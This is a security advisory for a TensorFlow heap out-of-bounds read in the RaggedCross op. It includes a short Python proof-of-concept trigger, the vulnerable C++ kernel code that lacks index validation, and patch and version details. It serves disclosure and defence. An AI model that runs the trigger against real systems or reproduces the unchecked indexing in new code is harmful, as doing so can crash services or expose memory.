GHSA-j47f-4232-hvv8

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    GHSA-j47f-4232-hvv8

    Published: 21 May 2021Last Modified: 8 Jul 2026

    Summary: Heap out of bounds read in `RaggedCross`

    Details: ### Impact An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`: ```python import tensorflow as tf ragged_values = [] ragged_row_splits = [] sparse_indices = [] sparse_values = [] sparse_shape = [] dense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64) dense_inputs = [dense_inputs_elem] input_order = "R" hashed_output = False num_buckets = 0 hash_key = 0 tf.raw_ops.RaggedCross(ragged_values=ragged_values, ragged_row_splits=ragged_row_splits, sparse_indices=sparse_indices, sparse_values=sparse_values, sparse_shape=sparse_shape, dense_inputs=dense_inputs, input_order=input_order, hashed_output=hashed_output, num_buckets=num_buckets, hash_key=hash_key, out_values_type=tf.int64, out_row_splits_type=tf.int64) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments: ```cc int next_ragged = 0; int next_sparse = 0; int next_dense = 0; for (char c : input_order_) { if (c == 'R') { TF_RETURN_IF_ERROR(BuildRaggedFeatureReader( ragged_values_list[next_ragged], ragged_splits_list[next_ragged], features)); next_ragged++; } else if (c == 'S') { TF_RETURN_IF_ERROR(BuildSparseFeatureReader( sparse_indices_list[next_sparse], sparse_values_list[next_sparse], batch_size, features)); next_sparse++; } else if (c == 'D') { TF_RETURN_IF_ERROR( BuildDenseFeatureReader(dense_list[next_dense++], features)); } ... } ``` Each of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads. ### Patches We have patched the issue in GitHub commit [44b7f486c0143f68b56c34e2d01e146ee445134a](https://github.com/tensorflow/tensorflow/commit/44b7f486c0143f68b56c34e2d01e146ee445134a). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

    Affected packages

    Package

    Name: tensorflow

    Purl: pkg:pypi/tensorflow

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -2.1.4

    Affected versions

    0.12.0
    0.12.1

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